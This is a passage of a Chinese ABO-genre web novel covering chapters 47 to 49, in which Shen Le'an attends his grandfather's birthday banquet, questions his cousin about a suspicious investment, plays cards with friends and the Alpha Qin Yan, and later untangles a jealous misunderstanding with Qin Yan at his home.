沈乐安没有在秦砚家里待多久, 爷爷生日,他还是提前请了假回家的,只不过他回家了才知道, 今年老爷子的生日宴会和之前不同, 请了不少人,还专门请人过来布置了一番场地。 不回家他还不知道,这事还是沈华章一手操持的。 一提起这个名字,沈乐安还真的谈不上表情有多好看, 至少现在是烦得不行。 沈老爷子脸色也很臭,“三天两头不着家, 人也不见踪影,一回来就给我甩脸子。” 沈老夫人拍了他一巴掌,应声道:“安安回来你提了几次华章了,到底谁是你亲孙子?” 沈老爷子睨了孙子一眼, 板着脸道:“你看他还记得不记得回来的吃饭的事情, 上个月都没见人影, 我都快忘了我亲孙啥样了!” 提到此事,沈老夫人也不吱声了。 沈乐安倒是想起来上个月确实没有怎么回来, 一直顾着别的事情, 他心中微微叹了口气, 暂时将沈华章的事情放下,忙去哄人。 沈老夫人格外好哄,亲孙撒个娇就完事。 沈老爷子可不是那种肤浅的人, 脸上还是硬气的模样, 像个严肃正气的小老头, 颇有退伍前的威严。 沈乐安厚着脸皮,抱着老爷子的手臂, 道:“我早几个月托人定制了一副玉棋,专门为着今天送给您的,也不知道爷爷喜不喜欢。” 沈老爷子掀了掀眼皮,“你怎么想到买这个了?” 沈乐安:“您之前不是出去和朋友下过棋?回来还感慨人家有,我一直把我亲爱的爷爷的话放在心上不是?” 沈老爷子心情舒畅了,“算你还有点良心。” 沈老夫人插了一嘴道:“亲奶奶没份啊?” 沈乐安又道:“怎么会?奶奶喜欢玉石,我还给奶奶定制了同款的玉制珠宝呢。” 沈老夫人笑呵呵道:“那刚好今天带出去给人瞧瞧。” 沈老爷子觑了她一眼,“一把年纪了,可别臭美了。” 沈老夫人白了他一眼,“糟老头不要和我说话。” 沈乐安擦了擦额角的汗,也没插嘴,深觉两个老人家愈发不好哄了,虽然心中这么感慨,他脸上还是笑意未减,连日来的压力都轻了许多。 沈华章这事确实让他有点头疼,尤其是这几天对他的事情有了一点了解之后,这种惶恐像是气球一样逐日递增。 沈华章毕竟在沈氏集团还有职位,还和市场沾了边,有些渠道是可以共通的,先不提他有没有利用集团之便利来扩展自己投资的项目,这还是其次,沈乐安担心的还是沈氏集团有没有真正参与进去。 沈烨对于集团的事业心沈乐安是十分清楚的,当初他和沈乐安妈妈几次闹矛盾也有公司的原因,具体的事情沈乐安并不清楚,但总归来说,沈烨确实致力于将集团壮大,不过这些年来看,他的事业确实蒸蒸日上。 沈乐安想着事情,套衣服的速度也慢了一些。 沈华章这一次专门租了一个高级酒店的一层,他们从家里出发的时间不算晚,到那的时候已经有人过来了,在门口招待的是西装革履的沈华章。 沈乐安觉得沈华章这人有时候确实比他这个亲孙子操心的还要多,做的也比他这人要多。 不过沈乐安没有在这方面有什么攀比之心,毕竟他没有上赶着给自己找事情做的闲心。 对上沈华章虚伪的笑容,沈乐安只道了一句:“辛苦表哥了。” 他手里的东西也自然地递到了沈华章的手上,俨然有将人当成服务员的趋势,沈华章笑容微僵,转头叫来服务员,将东西给了别人。 沈华章和两个老人寒暄了两句,将人请了进去。 说是小型的生日宴,但就场地来看就不小,以沈华章的准备来看,他应该给不少人发了请柬。 沈老爷子不常办这种大的社交活动,难得这一次,当然有不少人愿意给面子过来,来的不止沈老爷子那一辈的,年轻一辈的也有过来凑热闹的,当然,还是因为之前传的沸沸扬扬的分化成Omega的沈乐安。 不过,来的人瞥见一直和人社交的竟然不是那位小少爷,而是沈家另外一位别人口中的别人家的孩子沈华章,这就有点微妙了。 余淮阳扫了一圈,终于在角落沙发上看到了人,从服务员那取了一杯果汁,往他那处走。 沈乐安视线还跟着今晚变成蝴蝶似的沈华章,没有发现来人。 余淮阳喊了他一声,将果汁挪到他跟前,“神游什么呢?” 沈乐安:“做侦探。” 余淮阳拍了拍坐垫面,坐下,“你一个晚上不出现,已经快被人传谣成沈家边缘人物了。” 沈乐安不以为意:“我一直觉得自己很边缘,没想占C位。” 余淮阳笑道:“得,比起那个开屏的孔雀,你还是这样好一点。” 沈乐安喝了口果汁,转头瞧了他一眼。 余淮阳今天穿的还颇为端正,淡色系,和他之前花花绿绿的样子十分不同,瞧上去人模人样的。 被他这么盯着,余淮阳反而生出几分不自然,轻咳了两声,主动道:“我妈强制安排我去公司上班去了,所以没有办法,最近不得已换了一下穿衣风格,没碍着你眼睛吧?” 沈乐安道:“你这样看起来还正常一点。” 余淮阳问:“你觉得我这样穿好看?” 沈乐安点头:“比之前的好。” 余淮阳若有其事地附和了一句,低头喝了口水。 沈乐安没错过他嘴角露出来的笑,男人臭美起来女人都得站边上,他心中略有感慨,嘴上却也没提,转移了话题道:“你和沈华章打过交道?” 方才他评价沈华章的口吻,明显带着情绪,不过之前他们可没有什么交集,不至于如此。 提到沈华章,余淮阳脸色不佳,“工作上有过两次,这人脑子有毛病。” 沈乐安:“怎么了?” 余淮阳确实和沈华章有点冲突,不过不是正面上的,沈华章公事上中规中矩,但私德上着实难以评价,先不提这人无缘无故和同事八卦余淮阳的事情,但这家伙从他莫名其妙牵扯到沈乐安,余淮阳就十分不爽了,偏偏这些话还是他们谈好合作之后,余淮阳在餐厅转角听到的。 这些余淮阳没想说出来污染沈乐安的耳朵,只道:“也没什么,就是看不爽他,不过我听说他最近在沈氏混的挺好的,市场开拓到了已经从华中到了华北。” 沈乐安蹙了蹙眉,心底凉飕飕的。 一般而言,急病还是趋向于直接在当地医院就医,不会大费周章地搬离,他还真说不准是巧合还是什么别的,他之前整合过的那些病例大部分还是集中在华中区域啊。 他之前也有信息素暴动的症状,难不成还和沈华章有关? 余淮阳见他心不在焉的模样,问道:“出什么事情了?” “没事。”沈乐安扫了眼沈华章的方向,起身,抄起那杯果汁,“你待这吃吧,我过去看看情况。” 余淮阳看了眼他扬长而去的背影,抿了抿唇,一时无言。 他来这儿陪他又不是来吃零食的。 有的人涌入人群中是一粒沙入了沙丘,毫无踪影,而有的人则相反,仿佛黑夜里闪耀的启明星,轻易就夺走了旁人的光辉,引人注目。 沈小少爷穿着一身白,西装修身,他不似以往般随意,衬衣扣子一丝不苟地扣紧,领结端正,见人便是三分笑意,举手投足自带一种矜贵。 应付这些有权有势的名流,他也没有半点拘谨之色,反而大方非常,话题从南到北,自有风趣,侃侃而谈。 沈华章自然而然地就被边缘化了,他强撑着笑意,实则心中冷气直涌,认为这位表弟是故意表现自己,以此来彰显能力。 他当然不认为自己比不过沈乐安,不过是因为沈老爷子在,大家都会看在沈老爷子的面子上,给沈乐安一点好脸瞧罢了,没有沈家,他不认为这个无所事事的表弟能有什么本事让旁人另眼相待。 沈乐安应付完了那两位叔叔,这才笑意盈盈地看向表情难看的沈华章道:“表哥,找个地方聊聊呗。” 沈华章不清楚他想整什么幺蛾子,但此刻他也不想在这些社交场合与他起什么冲突,只好应下,寻了一处还算安静的小阳台。 出了人来人往的宴会中央,这里没有什么人,不远处还有湖景,湖边挂了灯,夜晚灯景绚丽,又有水风轻来,好不享受。 沈乐安真情实意地道:“表哥还真的是选了一个好地方。” 沈华章道:“爷爷生日,我作为小辈自然尽心。” 沈乐安没想和他搞什么古代宅斗,心中翻了翻白眼,嘴上单刀直入道:“我找你是因为上次你提的那个投资项目。” 提起这个,沈华章还是有几分自得,“你不是之前没有意向?” 沈乐安脸皮很厚,权当没听懂他的膈应,笑道:“我最近听爷爷又重新提了一嘴,这不是又起了心思?” 沈华章自认为找回了脸面,浅浅抿了口酒,语气冷淡地道:“表弟,有些投资晚了时机就没有机会了,机不可失的道理你要懂。” 沈乐安问:“你找谁投资了?” 沈华章觉得他没有什么眼力见,这种事情也要追问,但他也没有想要瞒着,还是道:“我找大伯借了一笔钱,如果挣了钱,也算是大伯的投资,如果亏了,我也会原价还回去,不会让大伯吃亏的。” 沈乐安真他妈的想把沈烨丢湖里去。 沈乐安耐着性子,又问:“所以你现在是百分百占股?” 沈华章无语道:“当然不是,这是我和朋友一起开的,还有技术板块的东西,当然不能我全股。” 沈乐安哦了一声,“搞研发得花不少钱吧?” 沈华章狐疑道:“你又不投资,问那么多做什么?” 沈乐安一副好学生的求知样:“我最近也学习表哥搞了一点投资,来和你取取经。” 见他一副萌新好学的模样,沈华章心中嗤笑,就他一问三不知的样子还投资? 沈华章心有不屑,脸上又多了一分得意,“你以为研发是随随便便几块钱能出来成果的?当初我选择投这个项目还是因为人家研发团队已经有了成熟的技术,他们投资人没有眼光,我可比他们有眼界多了。” 沈乐安听他bb了一会儿,总结下来,就是他当初眼光好,捡了漏呗。 这特么的指不定还是高级版的仙人跳,逮着他跳下去呢,而且背后的人心思不小,估摸着不仅仅是想搞沈华章,毕竟沈华章又没有什么值得薅的大羊毛,对方看中的,应该是沈华章背后的沈氏集团,又或者,是他们沈家? 沈乐安想到自己分化时险些发生的信息素暴动,还有点搞不明白,这其中的关联,那些药到底是通过什么途径到他口中的? 沈华章自认为在沈乐安这里涨了脸面,心情不错,这个表弟虽然没什么本事,但还算有自知之明,懂得问人。 不过小少爷就是小少爷,改不了这种用完人就扔的不识好歹。 沈华章看了眼消息,也没了再和沈乐安说话的闲心。 他这次专门给秦家发了请帖,秦家这些年简出深居,十分的低调,非常难以攀上关系。 秦老爷子当年也是军队出身,和沈老爷子有几分交情,但两家发展却全然不同,秦老爷子的儿子原先在军队发展,如今转向政界,已经是副部级别的官职,据说马上要升到正部级了,他妻子又是宋家的千金,政商联合,本就顶级联姻,且宋家在商界也是不小的资本,沈家在此对比之下便显得落后非常,再不提秦老爷子还有一个从军的孙子,听说也十分厉害。 沈华章本就抱着试试的心态给对方发了帖子,但早就做好了准备对方不会回应,哪成想沈老爷子面子竟然真的这么大,秦家竟然真的来了人。 沈华章扫了一眼不懂事的表弟,道:“有贵客到了,你要闲着没事,在这待着也行,不要到处乱跑,给爷爷添麻烦。” 见他如临大敌的模样,沈乐安抽了抽唇角,心中暗忖,贵客见你这样也得被吓跑。 刚刚才立了好弟弟的人设,沈乐安还是想维护好关系,套套信息,冲着这位表情严肃的表哥笑了下,“知道了,我不会乱走的。” 沈华章看了他一眼,没再说什么,转身大步离开。 沈乐安单手搭在扶手上,听到不远处一点车声,视线转了转。 这一处还是能看到一点酒店正门口来来往往出入的人的。 隔得太远,楼层也高,沈乐安眯了眯眼,没看清那一扫而过的身影。 应该是他看错了。 秦砚怎么可能在这里。 第48章 第 48 章 秦家来人, 倒是让整个宴会上的人都多了关注的角色,尤其是这一次过来的,还有秦家那位没怎么露过面的秦老爷子的孙子。 不过秦老爷子倒是没有出现, 来的人是宋书颖和秦砚。 饶是如此, 沈华章已经是喜上眉头,笑意吟吟地迎合了上去。 沈老爷子见他过来,与宋书颖道:“这是我的外孙,华章。” 沈华章适时礼貌喊了一声宋姨。 宋书颖淡笑一声, 微微颔首。 态度称不上亲和,甚至有点疏离, 沈华章也没有不满,因为宋氏也是一大巨头,尤其还有秦家的关系,这位秦夫人倒是比传闻中的还要姿态足一些。 宋书颖没有和这个外来的小辈多言什么, 沈老爷子看在眼里, 心中是有几分奇怪的, 毕竟他原先和秦老爷子虽然都算是部队内的队友,但毕竟他俩走的不是一个方向的发展, 只有过几次交道, 平时就听说秦家不怎么来这种社交场合, 怎么今天还专门过来了? 尤其是这一位秦家在军队内成就不小的亲孙也在场。 沈老爷子早些年还听过一点消息,知道这个小辈在军队内混的不错,年纪轻轻已经升了少将, 这个年岁有这样的军职已经是罕见, 天赋、实力和运气都不可或缺, 现在也不知道是个什么情况。 沈老爷子和宋书颖说着话,余光还是会瞅两眼旁边安静的秦砚。 沈华章也在关注他, 本来想以同时小辈为由借此和秦砚拉进关系,但他没有想到秦砚这人比宋书颖还要高傲,一点面子也不给,全然忽略他的有意亲近。 Alpha站在一起是很容易被拿来作比较的,抛开身份地位不谈,这位传闻中的秦少爷站在沈华章身旁,单论气场和身形,就如同大巫见小巫,高低立现了。 沈华章讪笑两声,放弃了和秦砚套近乎的念头。 沈老爷子看在眼里,对这个外孙是略有点失望的,他这种行为有点过于放低姿态,反而显得他们沈家有点小家子气,他们沈家也不是要求着秦家做什么,这样处事容易让人看轻,还比不上乐安会来事。 这对比一放,尤其沈华章身边还站着一个闪亮亮的秦砚,对比感就更足了。 沈老爷子压下那点不高兴,侧头将话题引到秦砚上去,“小砚目前是不在军队?” 宋书颖目光转向秦砚,道:“没有,他现在暂时被调到了军校当教官,培养一下后辈。” 沈老爷子随口关心了一嘴:“哪个军校啊?” 秦砚道:“联邦军校。” 沈华章有点意外,插了一句,“之前谈合作去过那里,贵校建设的很好。” 沈老爷子呵呵两声,“还挺巧,我孙子也在那里上班。” 秦砚嗯了一声。 宋书颖瞥见儿子那一声不吭的样子,心中腹诽还真的是随了他爸,一点都不知道危机,也不知道怎么将人骗着答应回秦家吃饭的,单看沈老爷子这啥也不知道的状况,就知道儿子那异想天开把乐安拐回家的打算玄乎着呢。 宋书颖便主动问:“怎么没见乐安?” 沈老爷子笑道:“他跑去和朋友说话了吧,刚过来我就不知道他去哪玩了。” 他家乐安人脉倒是广,和谁都玩得开,还有不少人专门来找他玩的。 老人家双标的很,这事放在别人那就是不务正业,放自家孩子身上那当然就是性格外向,人见人爱了。 不过沈老爷子反应也不慢,琢磨了一下宋书颖话里的意思,又道:“书颖见过我家乐安?” 宋书颖多了一点温和的笑,“挺伶俐一小孩。” 沈老爷子扬了扬眉,瞥了眼旁边的秦砚,想到最近传的秦家给这个小辈相亲的消息,又联合今天他们的意外出席,难不成是打算来相看的? 沈华章心头也咯噔了一下,他以为秦家是看在沈老爷子的面子上过来的,难道是瞧上了沈乐安? 他之前对这个表弟分化成Omega是非常瞧不上的,但如果因为这个身份和秦家有了联系,说实话,沈华章也会忍不住有点郁闷,这人总不能一直好运气吧? 沈老爷子也只是略微一猜,不过还是道了一句,“乐安皮得很,家里没谁比他主意大,他爸都做不了他的主。” 相亲这种事情,沈家没谁能强行套在沈乐安身上,这事之前沈烨干过,沈老爷子可不会重做这种讨孙子嫌的事情。 宋书颖一听便知道他误解了,解释道:“乐安之前的导师是我的妹夫,所以见过面。” 沈老爷子还真不知道有这种事情,“还真有缘分。” 宋书颖笑意微深:“乐安和我们家确实缘分不浅。” 沈华章听着,真是觉得沈乐安走了狗屎运,还能有这种运气和秦家勾搭上,偏偏他竟然还瞒着,没有告诉过家里! 秦砚默不作声,只是目光扫了一圈,落在某一处角落时,微微定住。 小阳台那处靠近湖边,晚上的风吹得还是有几分冷气的,撞见碰巧过来的余淮阳,沈乐安便跟着他回了方才的座位处。 那个小角落还真聚集了不少人。 凌圆圆三两步上前抱住沈乐安的手臂,“乐安哥。” 张焕玉:“没见你人影,还以为你跑哪哭去了。” 沈乐安笑骂:“滚你妈的。” 凌颂找服务员弄来了一排酒,放在桌面,手里还多了一副牌,“就差你了。” 沈乐安看这架势,嘴角忍不住抽了抽,这特么他家老爷子生日宴会,沈华章布置的景尽是名流高端的社交场所,怎么给他们弄得和地皮流氓占地盘似的。 张焕玉一边拆出牌,一边道:“你家老爷子这次生日专门请了人过来,还正儿八经发了请帖,我们还以为是你要搞什么花里胡哨的东西,结果过来发现主办方张冠李戴,害得我们白高兴一场,搞陪聊净说些七七八八我不懂的,你可得陪我们消磨消磨时光。” “合着来我爷爷生日宴打牌还有道理了?”沈乐安坐下道,“到时候被人发现我就说你们拉着我搞得。” 余淮阳插嘴道:“小少爷放心,谁能有我纨绔的名声远扬?” 凌颂道:“到时候就是失足沈少不幸被纨绔带歪。” 沈乐安噗嗤一笑,给他背来了一巴掌。 凌圆圆笑的肚子疼,一点大小姐的气派也无。 众人有说有笑,张扬的模样和上流做派一点也不沾边。 沈华章越是走近,他们之间的行为越是看清,瞥见沈乐安手上拿着的扑克时脸上的表情更是一黑,脏话就要脱口而出,但被硬生生的忍下。 沈华章余光观察脸上没有什么表情的秦砚,揣度不出他的想法,心中更是惴惴不安,谁家宴会还有这种场面出现?他妈的宴会上搞什么玩物丧志的打牌,也就他们沈家搞这一出!沈乐安这没出息的玩意!真是丢人! Alpha身形高大,容貌出色,原本就鹤立鸡群,出现在此处,亦是存在感极强。 沈乐安抬眼看了他一眼,又瞅了瞅旁边脸黑成碳的沈华章。 沈华章沉着脸,压下那股火气,暗示道:“宋姨在和爷爷聊天,我带着秦哥四处看看。” 沈乐安点头,表示清楚,看到秦砚的时候大概就猜到了,没想到刚刚他没有看错,还真是他。 Alpha伫立于此,疏离的气场与此处的其余人划出分明的界限,他身形高大,与往日的衣着大相径庭,定制的西装贴合着他的身体线条,隐约可以窥见内里的力量,一丝不苟的穿法反而萌生了一种让人想要拔下的那层禁欲感。 那双鹰隼似的黑眸一错不错的盯着他,扫过那一圈人时,又在沈乐安旁边一左一右的余淮阳与凌圆圆身上停留了数秒。 沈乐安对着他笑了笑,“要不要一起玩?” 这话是对着秦砚说的,但沈华章明显因为沈乐安这一句话弄得怒气十足,他以为秦砚是谁?和他们这群纨绔一样?沈乐安实在是太不懂事了! 在宴会上偷躲起来打牌这种事情,秦砚刚成年那会儿也和谢景开一起干过,只是随着思想逐渐成熟,以及父亲对自己的教育的提点深入,他没有再做过这种事情,和上一次的游戏有所相似。 但秦砚没有办法让沈乐安与他完全同频,强调他要做到与他行为一致,这是秦砚从上一次他们的吵架中所得的经验,尤其沈乐安还是当着自己的朋友的面。 好在父亲很忙,这一次并没有过来。 他也不愿让上一次的争执成为这记仇小少爷的心结。 秦砚看了眼与沈乐安坐的极近的凌圆圆,抿了抿唇,问:“坐哪?” 沈华章巴巴地转了转脑袋,显然没有料到他的回复。 沈乐安只是顺嘴一问,也没想到他会答应,毕竟上一次他还扯七扯八吵了一架,见状,给他挪了旁边的位置。 沈华章百感交集,也有点放不下脸,寻了个借口,直接离开了。 余淮阳哈哈一笑,“我还是头一次见他这狗样子,真是舒心畅快!” 张焕玉道:“小少爷喊了人过来,不给秦哥介绍一下?” 秦砚是谁,刚刚沈华章提了那一嘴,大家肯定都知道,沈乐安便说:“秦砚,我同事,大家等会别坑他太多啊,抬头不见低头见呢。” 秦砚坐在一旁,听到他的称呼,眉心很轻地拧了一下,抬头看了他一眼。 小少爷神采奕奕,嘴上挂着笑,手里整着牌,修长的指节灵活动作着,姿势闲散又好看。 细长如玉的指节上如玉有瑕,有一道浅浅的疤痕,还未痊愈完全,是那天晚上不小心划破的,前两天还见他带着创可贴。 秦砚敛回视线。 张焕玉一听,乐了,“小少爷找工作也牛逼,还能认识这么有本事的同事啊。” 凌圆圆捂着嘴笑。 乐安哥专门喊过来的人,应该是关系不错的,凌圆圆低声问:“秦砚哥要什么饮料,我帮你拿。” 秦砚淡声回:“不用,谢谢。” 距离感很强,凌圆圆还是个小姑娘,也有点退却,没有再多嘴与他说话了,屁股往沈乐安那边挪了挪。 沈乐安见此,随手将自己身旁那杯水挪去,“渴了喝这个,白开水。” 秦砚嗯了一声,注意到凌圆圆的小动作,眉心很轻的拧了一下。 沈乐安在发牌,也没有注意到这两人的眼神交流。 凌圆圆本来想揪着乐安哥的衣角,隐晦提醒一下他给的那杯水是他刚刚喝过的,乐安哥一向不会和人有这种接触,她觉得乐安哥可能是忘记了刚刚顺嘴喝过一口。 那道锋利的视线探过来时,小姑娘指尖都觉得被烫到了一般,下意识缩了回去,小心翼翼地抬了抬眼皮,看向秦砚。 秦砚:“能不能帮我把那盒水果拿过来?” 凌圆圆抬手,二话不说,帮他递了过去。 察觉到身旁人的拘谨,沈乐安侧头看了一眼,低声道:“怎么了?” 凌圆圆小声道:“那杯水你喝过了,我想告诉你来着。” 沈乐安笑了笑,看了眼秦砚跟前的水果,说了声:“没事。” 这声音不大不小,凌圆圆觉得旁边气场十足的秦砚肯定听得到,又硬着头皮,把另外一杯新的水放过去,意思很明显。 秦砚道了声谢,没有说其他的话。 凌圆圆心中微叹,早知道她就不说了,这个秦少爷一看就不好相处,乐安哥也不喜欢别人碰他的东西,说穿了还有点尴尬。 沈乐安拿起牌,又想起来什么,对着秦砚道:“会不会玩?要不要我给你说一下规则。” 以沈乐安对他的了解,真心觉得秦砚说不定连碰都没有碰过这些,尤其是上一次他格外抵触批判游戏的样子,仿佛这些东西是什么罪大恶极的产物似的。 张焕玉这时笑着插嘴道:“小少爷这还真的不用担心,秦哥当初可是将谢景开赢得差点裤衩子都不剩,要真说起来,秦哥今天还得手下留情,放过我们这些普通人。” 谢景开这人,沈乐安还是听说过一二的,这家伙玩得开,没想到和秦砚竟然关系不错? 不过对秦砚玩这些格外娴熟的消息,沈乐安还是有点惊讶,问道:“你竟然玩过?” 秦砚没有否认:“之前碰过。” 沈乐安磨了磨牙,感情他还拿的浪子回头剧本呢,他妈的,合着好的坏的都干过,还给他拿乔,对他玩个游戏还说三道四的。 沈乐安啧了一声,“还真没看出来。” 小少爷这话放在旁人眼里是没有什么问题的感慨,但秦砚心知肚明他意有所指,记仇的性子还真是不假。 张焕玉也跟着他感慨,出了一张牌:“秦哥还会算牌呢,等会放过我们啊。” 秦砚不语,从果盘里取了两颗樱桃,放在沈乐安身前的干净小碟中。 见他略有示好之意,沈乐安轻哼一声,又加入战局。 凌圆圆不偏不倚,坐在两个人中间,莫名有点局促,她看着气场十足的秦少爷抬手送过来的樱桃被乐安哥自然地接过吃掉,垂在膝盖上的手心微微攥紧。 然后她又看到那位秦少爷拿起乐安哥喝过的那杯水,不咸不淡地喝了一口,杯子轻放回原位时,那双骨节分明的大手轻轻一抬,将她捎过去的那杯水拂开,不知是随意的动作,还是意有所指。 方才被眼神灼到的指腹浸出一层薄薄的汗意,凌圆圆眼皮悄悄挪了挪方向,不期然撞上那道平静幽深的黑眸。 仿佛在警告她离身边的Omega远一些。 凌圆圆咽了咽口水,还未萌芽的少女心“啪”的一下,被凶禽狠狠掐灭了。 第49章 第 49 章 宴会还没结束的时候沈乐安就提前溜走了, 他没有回沈家,而是告知了爷爷,蹭了秦砚的车, 打算直接回校。 幸而方才胡闹时秦砚没有被人劝酒成功, 眼下还能充当一回司机,沈乐安和他们起哄的时候喝了不少,虽然在不起眼的角落待着,但动静不小, 估计还是被人看到了。 这事传出去还真不好说,指不定别人觉得他们这群纨绔凑热闹等级又上升了一层, 唯一让沈乐安有点心虚的是,秦砚也在他们那儿,书颖阿姨似乎也看到了他陪着他们胡来,总让人有种拐带人学坏的错觉。 沈乐安揉了揉额角, 问了一句:“书颖阿姨好像也看到你了, 应该不会给你造成什么不好的影响吧?” 秦砚回道:“不会。” 母亲甚至反常的认为他此番出格的行为不错, 告知他不必学父亲那样出家的性格。 这段时间以来,秦砚还是敏锐发现了母亲的不对劲的, 尤其是父母之间隐含的矛盾, 母亲对父亲的意见已经溢于言表, 甚至蔓延到对父亲本人教育方法等多方面的不认可。 秦砚想着事情,人也安静,不怎么说话。 眼前的景色逐渐接近, 沈乐安看了眼他开的方向, 说道:“开去你家, 我找点吃的。” 沈乐安解下上面的扣子,衣领松敞, 呼吸也顺畅了许多。 不行就在秦砚家里蹭个位置,没办法,虽然时常嫌弃秦砚事多,但这人的好习惯也确实能够显著的提高生活品质,沈乐安这段时间住自己家,都难得搞了一次大扫除,不过就是过于累人,他弄了一次就没想再整第二出了。 秦砚嗯了一声,将车开回了C区。 沈乐安下了车,回忆了一下味道,随口提了一句:“你车内的香薰换了?” 太久没蹭他车,这一次还喝了酒,竟然没有那么过分的晕车感觉,车内的味道好像和之前也大不相同。 秦砚言简意赅地道:“换了。” 沈乐安关上车门,道:“这个好闻。” 还是水果的味道,勾起了沈乐安的馋。 小少爷舔舔唇,不知道是在品香还是在品食,舌尖轻探出来,扫了一圈,又缩了回去,嫣红的唇瓣上还有些许晶莹,嘴角轻扬,挂着一点笑意。 秦砚锁车时看了他一眼,“知道了。” 虽然挑剔,但喜好仿佛放在脸上,让人十分好懂。 沈乐安解了衬衣上面的扣子,西服外套也松散的耷拉开,原本的拘束不在,多了几分恣意与洒脱,如似放荡不羁的少年。 秦砚看了眼他晃在身侧的手臂,不知想到什么,忽然抬手,捉住他的手肘处,大手一握,仿佛将他们之间的距离迅速拉紧。 哪怕隔着一层布料,也能感受到来自另外一个人的存在感,浓重而深刻,让人心跳慢了半拍。 凌圆圆那个小姑娘还抱过他的手臂,也没有让他有这种异样的感觉。 沈乐安愣了一下,歪头看向他:“怎么了?” 感受到他的不自然,秦砚抿了抿唇,松开手,“没事。” 沈乐安哦了一声,也不知道是不是这晚上的风要冷上一层,吹得人脑子都清醒了许多,酒意微散,转回头。 停车的位置离秦砚的住处有一小段距离,很晚了,这会道上也没有别的人,路灯孤零零的驻守在原地,印在地上的是两道长长的黑影,也许是角度的因素,影子贴的很近,哪怕现实中两个人还隔着一点距离。 沈乐安盯着地上的一前一后的影子,忽然问了一句:“秦砚,你当初说过喜欢的是成熟那款的对吧?” 秦砚拧眉回道:“我没有说过喜欢” “你当时找对象不就专门挑这一款的?”沈乐安问道。 秦砚:“伴侣的成熟能够减少家庭矛盾。” 沈乐安好奇道:“你爸妈没有吵过架?” 如果放在以前,秦砚能够直接回答他这个问题,但现在的情况而言,他隐约觉得自己过往的判断有误。 秦砚默不作声地将门打开,而后才回他:“我不是很清楚,我父亲很忙,不经常回来。” 进了门,虽然还是有点冷空气,但还是比外面要暖和许多。 沈乐安换了鞋,走到客厅,从冰箱内取了一瓶酸奶出来,而后将外套脱下,随手挂在椅子上,视线一转,便看到客厅沙发上还原封不动摆着的糖果。 他取了一颗,拆开往嘴里放,见到秦砚娴熟地取走他随便乱放的外套,挂到架子上,仿佛像是一位兢兢业业的田螺姑娘。 这个比喻有点浓浓的恶趣味,沈乐安笑了笑,盯着他的身影,道:“你怎么没把糖果收回去?” 以往每次过往,沈乐安在这个屋子里面的痕迹都会悄然消失,这次倒是没有,仿佛他的生活迹象还存在于这栋房子中。 沈乐安最近来着其实很频繁,秦砚也不愿每次都重复浪费功夫,适应了一点这样的改变,也不算什么大事。 他并没有直接回复这个问题,只是叮嘱了一句坐在沙发上人,“吃完丢到垃圾桶里,不要留在桌上。” 小少爷还算乖巧地应了一声,表示清楚。 Alpha脱下外套,暂时挂在了门口架子上,然后转身去厨房煮水。 褪去外面的黑沉沉的西装外套,Alpha倒像是真真实实变成了诱人的风景,里头的马甲与贴合身形的衬衣,无意展现出Alpha傲人的资本,力量的本身代表着一种野性,蓬勃迸发的肌肉线条被压制于薄薄的一层布料之下,仿佛呼之欲出。 沈乐安紧随其后,瞥见厨房内的水果,倒是想起来当时秦砚主动让人家小姑娘给他递的那盒果盘。 他接上方才话题,又道:“成熟款的话,你喜欢年上?” 秦砚:“什么意思?” 沈乐安:“就是年龄比你大的。” 秦砚只说了一句:“我不看重这些。” 沈乐安回忆了一下今天秦砚打牌时的一丝反常,轻轻啧了一声,“年龄差太大叫做老牛吃嫩草。” “……” 秦砚侧眸看了眼沈乐安,矜贵的小少爷手上拿了瓶酸奶,有一下没一下地喝着,手指葱白如玉,眼睛很亮,蓄满了朝气。 他今天和那些同龄的朋友确实玩的开,张扬又恣意,仿佛不受拘束的少年,喝了不少,脸颊上还是扑红一片,如似晚霞布满天。 秦砚很轻地抿了下唇。 见他没有回复,沈乐安觉得自己可能戳中了秦砚的那点小心思,说不上来此刻的心情,反正小少爷并没有捉到秦砚小辫子的欣喜。 沈乐安没了喝酸奶的欲望,只是无意识地咬牙磨着吸管,随后打破沉静,“你这高标准都没有找到喜欢的,说不定应该反着来,也许还会有后续的发展。” 秦砚顺着他的话应了一声。 沈乐安这话有几分试探,秦砚听得出来,记仇的小少爷还记挂着之前的事情,眼下仿佛是在寻求安全感,也许是想确实关系的稳定。 沈乐安说话间多了一点咬牙切齿,“万一你喜欢的人和你原先那破标准天南地北,你也会继续发展?与你结成伴侣那种?” 虽然他们之间的狗屁恋爱关系并不纯粹,但沈乐安还是因为这狗东西这么短时间就和其他人一见钟情而感觉有点生气,尤其是这家伙竟然还看中了圆圆妹妹,这年龄差简直令人发指! 小少爷紧紧盯着他,眼神冒着火一般,似乎要确定他的答案。 沈乐安说的太过于直接,尤其是标榜着“喜欢”的旗号。 喜欢这个词,对于秦砚这种人而言,是很难说出口的名词。 但小少爷仿佛对于这个答案执着不休,表情也十分的严肃。 秦砚罕见地有几分心情微妙,沉默许久,才吐出一个字,“会。” Alpha严肃的表情与认真的口吻,仿佛是在进行某一种宣誓,字若千钧的承诺带着浓浓的份量。 沈乐安心头百感交集,最后只是叹了口气,道:“圆圆还小,你还是等人家成年吧。” 他莫名提及无关的人,秦砚不明所以,“什么意思?” 沈乐安:“你不是对人家有意思?” 秦砚:“……” 对视良久,Alpha反应过来他之前的问句,漆黑的曈眸也沾了一点火星。 “沈乐安,”秦砚语气微重,带了几分警告,“你什么意思?” 秦砚生气的迹象显而易见,他的情绪表达比上次的争执还要明显的多,脸上阴沉沉的,仿佛要滴出浓浓的墨汁来,周身弥漫着浓重的爽气。 沈乐安缩了缩脖子,判断出自己可能的误解,心头仿佛放下了一块巨石一般,见秦砚一副怒发冲冠的样子,也没有觉得害怕,不过还是清了清嗓子解释了一句:“你今天明显很关注凌圆圆,我坐在旁边,你觉得以我对你的了解,能看不出来?” 秦砚冷声道:“我不喜欢她,你不要胡说。” 沈乐安又道:“那你那么关注她干什么?” Alpha仿佛就是一只纸老虎,汹涌的气势一击就破,此刻一句轻飘飘的质问就足以令他哑口无言。 小少爷找回了气场和架势,煞有其事地将酸奶瓶子丢到桶中,而后眼神镇定地上上下下扫了秦砚一眼,像是在等他做出合理的解答。 Omega脱了那身外套,又解了上面的扣子,衬衣下摆被他扯了出来,耷拉在腰侧,依旧可见韧劲的细腰,他今天与那个年轻的姑娘坐的极近,小姑娘一点分寸也无,还会拿手扯他的衣摆,仿佛两人关系亲密如此,旁人难以插入。 偏偏他回来的时候还误解自己与那人有什么瓜葛,反倒是完全没有发现旁人对他的觊觎,也不知那些行为如何的暧昧,如此的扎眼又讨厌。 可上一次的争吵尚且历历在目,让话语堵在口中,难以宣泄。 